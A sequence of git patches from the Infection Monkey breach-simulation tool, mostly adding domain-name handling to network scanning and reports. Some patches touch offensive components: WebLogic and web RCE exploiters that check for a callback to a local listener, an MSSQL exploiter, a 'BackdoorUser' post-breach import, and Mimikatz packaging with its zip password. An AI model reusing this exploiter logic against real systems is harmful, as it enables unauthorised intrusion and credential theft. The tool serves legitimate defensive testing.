d3a37d48c..8dd429d39 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -7,6 +7,7 @@ from infection_monkey.network.info import local_ips, get_interfaces_ranges from infection_monkey.model import VictimHost from infection_monkey.network import HostScanner from infection_monkey.network import TcpScanner, PingScanner + __author__ = 'itamar' LOG = logging.getLogger(__name__) @@ -78,7 +79,10 @@ class NetworkScanner(object): for net_range in self._ranges: LOG.debug("Scanning for potential victims in the network %r", net_range) for ip_addr in net_range: - victim = VictimHost(ip_addr) + if hasattr(net_range, 'domain_name'): + victim = VictimHost(ip_addr, net_range.domain_name) + else: + victim = VictimHost(ip_addr) if stop_callback and stop_callback(): LOG.debug("Got stop signal") break diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index b88acbac6..be363ce33 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -90,10 +90,11 @@ class Telemetry(flask_restful.Resource): @staticmethod def get_edge_by_scan_or_exploit_telemetry(telemetry_json): dst_ip = telemetry_json['data']['machine']['ip_addr'] + dst_domain_name = telemetry_json['data']['machine']['domain_name'] src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) dst_node = NodeService.get_monkey_by_ip(dst_ip) if dst_node is None: - dst_node = NodeService.get_or_create_node(dst_ip) + dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) @@ -144,6 +145,7 @@ class Telemetry(flask_restful.Resource): edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json) data = copy.deepcopy(telemetry_json['data']['machine']) ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") new_scan = \ { "timestamp": telemetry_json["timestamp"], @@ -153,7 +155,7 @@ class Telemetry(flask_restful.Resource): mongo.db.edge.update( {"_id": edge["_id"]}, {"$push": {"scans": new_scan}, - "$set": {"ip_address": ip_address}} + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} ) node = mongo.db.node.find_one({"_id": edge["to"]}) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 1f9b68ebe..77bdf6ed7 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -41,6 +41,7 @@ class NodeService: # node is uninfected new_node = NodeService.node_to_net_node(node, for_report) new_node["ip_addresses"] = node["ip_addresses"] + new_node["domain_name"] = node["domain_name"] for edge in edges: accessible_from_nodes.append(NodeService.get_monkey_label(NodeService.get_monkey_by_id(edge["from"]))) @@ -62,7 +63,9 @@ class NodeService: @staticmethod def get_node_label(node): - return node["os"]["version"] + " : " + node["ip_addresses"][0] + if node["domain_name"]: + node["domain_name"] = " ("+node["domain_name"]+")" + return node["os"]["version"] + " : " + node["ip_addresses"][0] + node["domain_name"] @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): @@ -137,6 +140,7 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], + "domain_name": "" } @staticmethod @@ -176,10 +180,11 @@ class NodeService: upsert=False) @staticmethod - def insert_node(ip_address): + def insert_node(ip_address, domain_name=''): new_node_insert_result = mongo.db.node.insert_one( { "ip_addresses": [ip_address], + "domain_name": domain_name, "exploited": False, "creds": [], "os": @@ -191,10 +196,10 @@ class NodeService: return mongo.db.node.find_one({"_id": new_node_insert_result.inserted_id}) @staticmethod - def get_or_create_node(ip_address): + def get_or_create_node(ip_address, domain_name=''): new_node = mongo.db.node.find_one({"ip_addresses": ip_address}) if new_node is None: - new_node = NodeService.insert_node(ip_address) + new_node = NodeService.insert_node(ip_address, domain_name) return new_node @staticmethod @@ -261,6 +266,7 @@ class NodeService: def get_monkey_island_node(): island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() + island_node["domain_name"] = "" return island_node @staticmethod From 847286dec7d66ee167016526725ec3a73f4d30f8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 15:05:06 +0300 Subject: [PATCH 71/89] Modified front end to inform user that he can enter URL's , not only IP's --- monkey/monkey_island/cc/services/config.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b23e5cd19..ae5755174 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -10,6 +10,7 @@ from cc.encryptor import encryptor from cc.environment.environment import env from cc.utils import local_ip_addresses from config_schema import SCHEMA + __author__ = "itay.mizeretz" logger = logging.getLogger(__name__) From 7d34c290cc8b4e613413c657af7543c6dc4fe830 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 2 Oct 2018 16:41:52 +0300 Subject: [PATCH 72/89] Added support for invalid domain AND added front end files not commited in previous commits --- monkey/common/network/network_range.py | 20 +++++++++++++++++-- .../report-components/BreachedServers.js | 3 ++- .../report-components/ScannedServers.js | 3 ++- 3 files changed, 22 insertions(+), 4 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 3adace9bc..088177f11 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -120,12 +120,28 @@ class SingleIpRange(NetworkRange): def __repr__(self): return "" % (self._ip_address,) + def __iter__(self): + """ + We have to check if we have an IP to return, because user could have entered invalid + domain name and no IP was found + :return: IP if there is one + """ + if self.ip_found(): + yield self._number_to_ip(self.get_range()[0]) + def is_in_range(self, ip_address): return self._ip_address == ip_address def _get_range(self): return [SingleIpRange._ip_to_number(self._ip_address)] + def ip_found(self): + """ + Checks if we could translate domain name entered into IP address + :return: True if dns found domain name and false otherwise + """ + return hasattr(self, "_ip_address") and self._ip_address + @staticmethod def string_to_host(string): """ @@ -144,7 +160,7 @@ class SingleIpRange(NetworkRange): domain_name = string except socket.error: LOG.error( - "You'r specified host: {} is neither found as domain name nor it's an IP address".format(string)) - return socket.error + "You'r specified host: {} is not found as a domain name and it's not an IP address".format(string)) + return None, string return ip, domain_name diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index d23a14c38..381380af7 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -10,7 +10,8 @@ const columns = [ Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, - {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + {Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index 9b62bbdc5..c81e57340 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -10,7 +10,8 @@ const columns = [ Header: 'Scanned Servers', columns: [ { Header: 'Machine', accessor: 'label'}, - { Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderArray(x.ip_addresses)}, + { Header: 'IP Addresses', id: 'ip_addresses', + accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] From d35634b729f6ca7575f2a2f39030ca9606f51b35 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sat, 15 Dec 2018 16:42:20 +0200 Subject: [PATCH 73/89] Small fixes --- monkey/monkey_island/cc/services/node.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 77bdf6ed7..c73fdc5a6 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -63,9 +63,10 @@ class NodeService: @staticmethod def get_node_label(node): + domain_name = node["domain_name"] if node["domain_name"]: - node["domain_name"] = " ("+node["domain_name"]+")" - return node["os"]["version"] + " : " + node["ip_addresses"][0] + node["domain_name"] + domain_name = " ("+node["domain_name"]+")" + return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name @staticmethod def _cmp_exploits_by_timestamp(exploit_1, exploit_2): From 4f0606d6fb57df40d0b700fc388d7427abe2ccc7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 6 Jan 2019 13:49:40 +0200 Subject: [PATCH 74/89] Fixed PR comments (ip casting, typos) --- monkey/common/network/network_range.py | 20 +++++++++++++------- monkey/monkey_island/cc/services/node.py | 2 +- 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 088177f11..e77d09fdf 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -140,27 +140,33 @@ class SingleIpRange(NetworkRange): Checks if we could translate domain name entered into IP address :return: True if dns found domain name and false otherwise """ - return hasattr(self, "_ip_address") and self._ip_address + return self._ip_address @staticmethod def string_to_host(string): """ - Converts the string that user entered in "Scan IP/subnet list" to dict of domain name and ip + Converts the string that user entered in "Scan IP/subnet list" to a tuple of domain name and ip :param string: String that was entered in "Scan IP/subnet list" :return: A tuple in format (IP, domain_name). Eg. (192.168.55.1, www.google.com) """ # The most common use case is to enter ip/range into "Scan IP/subnet list" domain_name = '' - ip = string - # If a string was entered instead of IP we presume that it was domain name and translate it - if re.search('[a-zA-Z]', string): + # Make sure to have unicode string + user_input = string.decode('utf-8', 'ignore') + + # Try casting user's input as IP + try: + ip = ipaddress.ip_address(user_input).exploded + except ValueError: + # Exception means that it's a domain name try: ip = socket.gethostbyname(string) domain_name = string except socket.error: - LOG.error( - "You'r specified host: {} is not found as a domain name and it's not an IP address".format(string)) + LOG.error("Your specified host: {} is not found as a domain name and" + " it's not an IP address".format(string)) return None, string + # If a string was entered instead of IP we presume that it was domain name and translate it return ip, domain_name diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index c73fdc5a6..6fc86920c 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -63,7 +63,7 @@ class NodeService: @staticmethod def get_node_label(node): - domain_name = node["domain_name"] + domain_name = "" if node["domain_name"]: domain_name = " ("+node["domain_name"]+")" return node["os"]["version"] + " : " + node["ip_addresses"][0] + domain_name From bf26ed88818b619aa005617ee62c8a692980a988 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Sun, 27 Jan 2019 14:21:39 +0200 Subject: [PATCH 75/89] Fixed some errors poined out in PR --- monkey/common/network/network_range.py | 13 ++++++++++++- monkey/infection_monkey/model/host.py | 2 +- monkey/monkey_island/cc/services/node.py | 3 ++- 3 files changed, 15 insertions(+), 3 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index e77d09fdf..1dddbc086 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -51,12 +51,23 @@ class NetworkRange(object): address_str = address_str.strip() if not address_str: # Empty string return None - if -1 != address_str.find('-'): + if NetworkRange.check_if_range(address_str): return IpRange(ip_range=address_str) if -1 != address_str.find('/'): return CidrRange(cidr_range=address_str) return SingleIpRange(ip_address=address_str) + @staticmethod + def check_if_range(address_str): + if -1 != address_str.find('-'): + ips = address_str.split('-') + try: + ipaddress.ip_address(ips[0]) and ipaddress.ip_address(ips[1]) + except ValueError as e: + return False + return True + return False + @staticmethod def _ip_to_number(address): return struct.unpack(">L", socket.inet_aton(address))[0] diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 592cb290a..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -4,7 +4,7 @@ __author__ = 'itamar' class VictimHost(object): def __init__(self, ip_addr, domain_name=''): self.ip_addr = ip_addr - self.domain_name = domain_name + self.domain_name = str(domain_name) self.os = {} self.services = {} self.monkey_exe = None diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 6fc86920c..50c921be8 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -6,6 +6,7 @@ import cc.services.log from cc.database import mongo from cc.services.edge import EdgeService from cc.utils import local_ip_addresses +import socket __author__ = "itay.mizeretz" @@ -267,7 +268,7 @@ class NodeService: def get_monkey_island_node(): island_node = NodeService.get_monkey_island_pseudo_net_node() island_node["ip_addresses"] = local_ip_addresses() - island_node["domain_name"] = "" + island_node["domain_name"] = socket.gethostname() return island_node @staticmethod From d028c707382bcfda31405b63543c7345561ec54f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 28 Jan 2019 12:01:56 +0200 Subject: [PATCH 76/89] Fixed bug related to '-' and displaying scanned servers --- monkey/common/network/network_range.py | 1 - monkey/monkey_island/cc/services/report.py | 4 +++- .../ui/src/components/report-components/BreachedServers.js | 6 +++++- .../ui/src/components/report-components/ScannedServers.js | 6 +++++- 4 files changed, 13 insertions(+), 4 deletions(-) diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index 1dddbc086..de89f7e4a 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -6,7 +6,6 @@ from abc import ABCMeta, abstractmethod import ipaddress from six import text_type import logging -import re __author__ = 'itamar' diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 8e4d42abd..50d24d692 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -131,7 +131,8 @@ class ReportService: list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), - 'services': node['services'] + 'services': node['services'], + 'domain_name': node['domain_name'] }) logger.info('Scanned nodes generated for reporting') @@ -151,6 +152,7 @@ class ReportService: { 'label': monkey['label'], 'ip_addresses': monkey['ip_addresses'], + 'domain_name': node['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if exploit['result']])) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 381380af7..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -5,13 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Breached Servers', columns: [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, + accessor: x => renderIpAddresses(x)}, {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js index c81e57340..57418e415 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js @@ -5,13 +5,17 @@ let renderArray = function(val) { return
    {val.map(x =>
    {x}
    )}
    ; }; +let renderIpAddresses = function (val) { + return
    {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
    ; +}; + const columns = [ { Header: 'Scanned Servers', columns: [ { Header: 'Machine', accessor: 'label'}, { Header: 'IP Addresses', id: 'ip_addresses', - accessor: x => renderArray(x.ip_addresses)+(x.domain_name ? " ("+x.domain_name+")" : "")}, + accessor: x => renderIpAddresses(x)}, { Header: 'Accessible From', id: 'accessible_from_nodes', accessor: x => renderArray(x.accessible_from_nodes)}, { Header: 'Services', id: 'services', accessor: x => renderArray(x.services)} ] From 38276f4abb9c0b7e4b337fabf64fb2d90872c811 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 28 Jan 2019 17:50:29 +0200 Subject: [PATCH 77/89] Fix to properly divide as float --- monkey/infection_monkey/network/network_scanner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py index e9555374f..8a69e3031 100644 --- a/monkey/infection_monkey/network/network_scanner.py +++ b/monkey/infection_monkey/network/network_scanner.py @@ -113,7 +113,7 @@ class NetworkScanner(object): if WormConfiguration.tcp_scan_interval: # time.sleep uses seconds, while config is in milliseconds - time.sleep(WormConfiguration.tcp_scan_interval/1000) + time.sleep(WormConfiguration.tcp_scan_interval/float(1000)) @staticmethod def _is_any_ip_in_subnet(ip_addresses, subnet_str): From 072677ac10b58f6e5878d7d3eaa632bf6af180bd Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 28 Jan 2019 18:21:04 +0200 Subject: [PATCH 78/89] wmi info handler does not crash if no wmi info is collected --- .../monkey_island/cc/services/wmi_handler.py | 20 +++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 5842ae5c6..fec12c152 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -13,11 +13,18 @@ class WMIHandler(object): self.monkey_id = monkey_id self.info_for_mongo = {} self.users_secrets = user_secrets - self.users_info = wmi_info['Win32_UserAccount'] - self.groups_info = wmi_info['Win32_Group'] - self.groups_and_users = wmi_info['Win32_GroupUser'] - self.services = wmi_info['Win32_Service'] - self.products = wmi_info['Win32_Product'] + if not wmi_info: + self.users_info = "" + self.groups_info = "" + self.groups_and_users = "" + self.services = "" + self.products = "" + else: + self.users_info = wmi_info['Win32_UserAccount'] + self.groups_info = wmi_info['Win32_Group'] + self.groups_and_users = wmi_info['Win32_GroupUser'] + self.services = wmi_info['Win32_Service'] + self.products = wmi_info['Win32_Product'] def process_and_handle_wmi_info(self): @@ -25,7 +32,8 @@ class WMIHandler(object): self.add_users_to_collection() self.create_group_user_connection() self.insert_info_to_mongo() - self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) + if self.info_for_mongo: + self.add_admin(self.info_for_mongo[self.ADMINISTRATORS_GROUP_KNOWN_SID], self.monkey_id) self.update_admins_retrospective() self.update_critical_services() From e0a98664f64d9a6e77a04f55a7f0971cdc431360 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 10:17:25 +0200 Subject: [PATCH 79/89] Fixes the config import on MSSQL exploiter --- monkey/infection_monkey/exploit/mssqlexec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 985394a29..128755de0 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -21,7 +21,6 @@ class MSSQLExploiter(HostExploiter): def __init__(self, host): super(MSSQLExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self.attacks_list = [mssqlexec_utils.CmdShellAttack] def create_payload_file(self, payload_path=DEFAULT_PAYLOAD_PATH): From 11c0d7773e7b57a7345d89a6142ec7c00416b366 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 11:51:42 +0200 Subject: [PATCH 80/89] Fixed telemetry expecting a 'scanner' field --- .../monkey_island/cc/resources/telemetry.py | 22 +++++++++---------- 1 file changed, 10 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index be363ce33..57148aa0f 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -149,8 +149,7 @@ class Telemetry(flask_restful.Resource): new_scan = \ { "timestamp": telemetry_json["timestamp"], - "data": data, - "scanner": telemetry_json['data']['scanner'] + "data": data } mongo.db.edge.update( {"_id": edge["_id"]}, @@ -160,16 +159,15 @@ class Telemetry(flask_restful.Resource): node = mongo.db.node.find_one({"_id": edge["to"]}) if node is not None: - if new_scan["scanner"] == "TcpScanner": - scan_os = new_scan["data"]["os"] - if "type" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.type": scan_os["type"]}}, - upsert=False) - if "version" in scan_os: - mongo.db.node.update({"_id": node["_id"]}, - {"$set": {"os.version": scan_os["version"]}}, - upsert=False) + scan_os = new_scan["data"]["os"] + if "type" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.type": scan_os["type"]}}, + upsert=False) + if "version" in scan_os: + mongo.db.node.update({"_id": node["_id"]}, + {"$set": {"os.version": scan_os["version"]}}, + upsert=False) @staticmethod def process_system_info_telemetry(telemetry_json): From 7ab22bb3e99bdeeb6a2ec4c8043f74cc0707a5a1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 13:09:38 +0200 Subject: [PATCH 81/89] Syntactic, small changes to weblogic and web_rce --- monkey/infection_monkey/exploit/web_rce.py | 2 +- monkey/infection_monkey/exploit/weblogic.py | 17 +++++++++-------- 2 files changed, 10 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 6bc5fee37..d797f3a95 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -54,7 +54,7 @@ class WebRCE(HostExploiter): exploit_config['upload_commands'] = None # url_extensions: What subdirectories to scan (www.domain.com[/extension]). Eg. ["home", "index.php"] - exploit_config['url_extensions'] = None + exploit_config['url_extensions'] = [] # stop_checking_urls: If true it will stop checking vulnerable urls once one was found vulnerable. exploit_config['stop_checking_urls'] = False diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 98b20ad6c..7cd1045f9 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -69,7 +69,7 @@ class WebLogicExploiter(WebRCE): print(e) return True - def add_vulnerable_urls(self, urls): + def add_vulnerable_urls(self, urls, stop_checking=False): """ Overrides parent method to use listener server """ @@ -78,7 +78,7 @@ class WebLogicExploiter(WebRCE): exploitable = False for url in urls: - if self.check_if_exploitable(url, httpd): + if self.check_if_exploitable_weblogic(url, httpd): exploitable = True break @@ -95,8 +95,8 @@ class WebLogicExploiter(WebRCE): self._stop_http_server(httpd, lock) - def check_if_exploitable(self, url, httpd): - payload = self.get_test_payload(ip=httpd._local_ip, port=httpd._local_port) + def check_if_exploitable_weblogic(self, url, httpd): + payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: @@ -120,7 +120,8 @@ class WebLogicExploiter(WebRCE): lock.acquire() return httpd, lock - def _stop_http_server(self, httpd, lock): + @staticmethod + def _stop_http_server(httpd, lock): lock.release() httpd.join(SERVER_TIMEOUT) httpd.stop() @@ -194,8 +195,8 @@ class WebLogicExploiter(WebRCE): we determine if we can exploit by either getting a GET request from host or not. """ def __init__(self, local_ip, local_port, lock, max_requests=1): - self._local_ip = local_ip - self._local_port = local_port + self.local_ip = local_ip + self.local_port = local_port self.get_requests = 0 self.max_requests = max_requests self._stopped = False @@ -210,7 +211,7 @@ class WebLogicExploiter(WebRCE): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 LOG.info('Server waiting for exploited machine request...') - httpd = HTTPServer((self._local_ip, self._local_port), S) + httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True self.lock.release() while not self._stopped and self.get_requests < self.max_requests: From d2185d678308a7ff2e8811076c132114bb765c31 Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Tue, 29 Jan 2019 17:56:37 +0200 Subject: [PATCH 82/89] Update readme.txt --- monkey/infection_monkey/readme.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt index 66ba14992..eb757d144 100644 --- a/monkey/infection_monkey/readme.txt +++ b/monkey/infection_monkey/readme.txt @@ -1,5 +1,5 @@ To get development versions of Monkey Island and Monkey look into deployment scripts folder. -If you only want to monkey from scratch you may refer to the instructions below. +If you only want to build monkey from scratch you may reference instructions below. The monkey is composed of three separate parts. * The Infection Monkey itself - PyInstaller compressed python archives @@ -76,4 +76,4 @@ Alternatively, if you build Mimikatz, put each version in a zip file. 1. The zip should contain only the Mimikatz DLL named tmpzipfile123456.dll 2. It should be protected using the password 'VTQpsJPXgZuXhX6x3V84G'. 3. The zip file should be named mk32.zip/mk64.zip accordingly. -4. Zipping with 7zip has been tested. Other zipping software may not work. \ No newline at end of file +4. Zipping with 7zip has been tested. Other zipping software may not work. From a65c1d3792df8e9e895165760261334b6b3e5ea0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 10:31:29 +0200 Subject: [PATCH 83/89] BUGFIX Remove scanner class lookup since it doesn't exist anymore --- monkey/infection_monkey/config.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 3d572dc67..ff66ff167 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -34,9 +34,6 @@ class Configuration(object): if key == 'finger_classes': class_objects = [getattr(network_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'scanner_class': - scanner_object = getattr(network_import, value) - setattr(self, key, scanner_object) elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) From 2faa89068c944da4b3872f37bc334f963c9685bf Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 12:50:06 +0200 Subject: [PATCH 84/89] Add mssql as a hidden import for windows. Seems to require --- monkey/infection_monkey/monkey.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 7315e10f5..2a77f535f 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -85,7 +85,7 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue'] if is_windows() else ['_cffi_backend'] + return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend'] def get_sc_binaries(): From 2557b76d5f0770413d736454ae7ef01133e754de Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 13:35:34 +0200 Subject: [PATCH 85/89] Pyinstaller on Linux 32 bit also seems to miss mssql --- monkey/infection_monkey/monkey.spec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index 2a77f535f..ac6e9f03e 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -85,7 +85,7 @@ def get_linux_only_binaries(): def get_hidden_imports(): - return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend'] + return ['_cffi_backend', 'queue', '_mssql'] if is_windows() else ['_cffi_backend','_mssql'] def get_sc_binaries(): From 4374760f16016db38802a92313a3ed513d50cffd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 14:46:10 +0200 Subject: [PATCH 86/89] New line at end of file --- monkey/infection_monkey/post_breach/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 3faa2233e..2bd5547b4 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1,4 @@ __author__ = 'danielg' -from add_user import BackdoorUser \ No newline at end of file +from add_user import BackdoorUser From 5702ee4b2ec55441bed12b496d156db7e7dac8ce Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 30 Jan 2019 14:56:34 +0200 Subject: [PATCH 87/89] Add dummy import for pyinstaller purposes --- monkey/infection_monkey/main.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 453c155b5..d12414eae 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -13,6 +13,7 @@ from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE from infection_monkey.dropper import MonkeyDrops from infection_monkey.model import MONKEY_ARG, DROPPER_ARG from infection_monkey.monkey import InfectionMonkey +import infection_monkey.post_breach # dummy import for pyinstaller __author__ = 'itamar' From 